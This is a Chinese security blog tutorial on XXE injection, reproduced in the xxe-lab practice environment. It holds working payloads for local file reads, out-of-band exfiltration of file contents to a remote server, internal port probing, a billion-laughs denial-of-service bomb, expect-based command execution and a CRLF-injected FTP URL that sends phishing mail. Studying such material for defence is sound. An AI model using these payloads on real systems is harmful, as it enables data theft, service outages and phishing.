XXE的一些利用方式

  • A+
所属分类:安全文章

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

没错又是我,基于没有摸过就要玩一遍的原则,有了接下来的这篇文章,主要是参考师傅们的讲解来复现的


XXE是什么

XXE的一些利用方式 

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)

XXE的一些利用方式


基础知识

XXE的一些利用方式


XML是一种用于标记电子文件使其具有结构性的标记语言,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子

示例代码:

<?xml version="1.0"?>//这一行是 XML 文档定义<!DOCTYPE message [<!ELEMENT message (receiver ,sender ,header ,msg)><!ELEMENT receiver (#PCDATA)><!ELEMENT sender (#PCDATA)><!ELEMENT header (#PCDATA)><!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

示例代码:

<message><receiver>Myself</receiver><sender>Someone</sender><header>TheReminder</header><msg>This is an amazing book</msg></message>

其实除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:

<creds><user>&xxe;</user><pass>mypass</pass></creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。


重点

XXE的一些利用方式


一、重点一:

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]><creds>    <user>&xxe;</user>    <pass>mypass</pass></creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人

当然,还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

二、重点二:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]><updateProfile>      <firstname>Joe</firstname>      <lastname>&file;</lastname>      ...</updateProfile>

2.参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"><!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">%an-element; %remote-dtd;


XXE攻击手段汇总


首先复现需要用到的项目地址

https://github.com/c0ny1/xxe-lab

XXE的一些利用方式

首先搭建好环境后我们尝试抓包

XXE的一些利用方式

可以看到类似标签页信息,如果没有下面的请求头的话可以添加这个头,这样可以让服务器试着解析XML格式,这边是直接存在这个请求头,就不需要添加了

Accept: application/xml, text/xml, */*;

然后在POS包里面添加XML文档,需要使用&xxe;来引用上面的XXE

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY [    <!ENTITY xxe "ascotbe">]><user><username>&xxe;</username><password>123</password></user>

XXE的一些利用方式

一、任意文件读取

1.有回显方法

使用以下POC即可读取

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY [    <!ENTITY xxe SYSTEM "file:///c:/Windows/win.ini">]><user><username>&xxe;</username><password>123</password></user>

XXE的一些利用方式

2.无回显方法

如果直接执行的话是没有任何回显的。可以使用http协议将请求发送到远程服务器上,从而获取文件内容。

首先在远程服务器写入一个test.dtd文件

<!ENTITY % all     "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.161:8000/?%file;'>">%all;

然后在目标机器上发送payload来加载它

<?xml version="1.0"?><!DOCTYPE ANY [    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/Windows/win.ini">    <!ENTITY % dtd SYSTEM "http://192.168.0.161:8000/test.dtd">%dtd;%send;]><user><username>&xxe;</username><password>123</password></user>

XXE的一些利用方式

然后服务器上面就能收到内容了

XXE的一些利用方式

解密下

XXE的一些利用方式

二、主机探测

相关语言可以使用的协议

XXE的一些利用方式

使用以下POC来探测目标主机,所开的端口,也可以写个python脚本跑

<?xml version="1.0" encoding="utf-8"?>    <!DOCTYPE ANY [        <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.0.161:8000">]><user><username>&xxe;</username><password>123</password></user>

如果内网有服务会有响应,就算是无回显的XXE的话也会返回数据包过来

XXE的一些利用方式

如果内网无这个服务的话就会超时不会返回任何东西

XXE的一些利用方式

三、DOS炸弹💣

之前有篇DOS炸弹的文章有讲过这是其中的一种XML的方法

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE lolz [    <!ENTITY lol "lol">    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">  ]> <lolz>&lol9;</lolz>

当XML解析器加载这个文档时,他会看到它包含一个包含文本&lol9;的根元素,不过&lol9;是一个定义的实体,扩展包含十个&lol8;的字符串,每个&lol8;是一个定义的实体,扩展为十个&lol7;的字符串。因为许多XML解释器在解析XML文档时倾向于将它的整个结果保存在内存中,所以这个不到1kb的xml文件实际包含10亿个lol,占用几乎3GB的内存,造成DDOS攻击。

四、命令执行

PHP环境下,xml命令执行要求php装有expect扩展。该扩展默认没有安装。

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "except://ipconfig">]>

五、钓鱼攻击

该方法没有试验过,先看大佬文章记录下

如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼(一下实例来自fb 的一篇文章 )

Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:[email protected]:port/test.txt,FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:

示例代码:

ftp://a%0D%0AEHLO%20a%0D%0AMAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0ARCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0ADATA%0D%0AFrom%3A%20support%40VULNERABLESYSTEM.com%0ATo%3A%20victim%40gmail.com%0ASubject%3A%20test%0A%0Atest!%0A%0D%0A.%0D%0AQUIT%0D%0A:[email protected]:25

当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:

示例代码:

ftp://aEHLO aMAIL FROM: <support@VULNERABLESYSTEM.com>RCPT TO: <victim@gmail.com>DATAFrom: support@VULNERABLESYSTEM.comTo: victim@gmail.comSubject: Reset your passwordWe need to confirm your identity. Confirm your password here: http://PHISHING_URL.com.QUIT:support@VULNERABLESYSTEM.com:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。

六、文件上传

该方法没有试验过,先看大佬文章记录下

jar:// 协议的格式:

jar:{url}!{path}

实例:

jar:http://host/application.jar!/file/within/the/zip
这个 ! 后面就是其需要从中解压出的文件

jar 能从远程获取 jar 文件,然后将其中的内容进行解压,等等,这个功能似乎比 phar 强大啊,phar:// 是没法远程加载文件的

jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中(2) 提取出我们指定的文件(3) 删除临时文件

那么我们怎么找到我们下载的临时文件呢?

因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用

大概的payload如下

<!DOCTYPE convert [<!ENTITY  remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">]><convert>&remote;</convert>


参考文章

XXE的一些利用方式


https://xz.aliyun.com/t/3357

XXE的一些利用方式


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: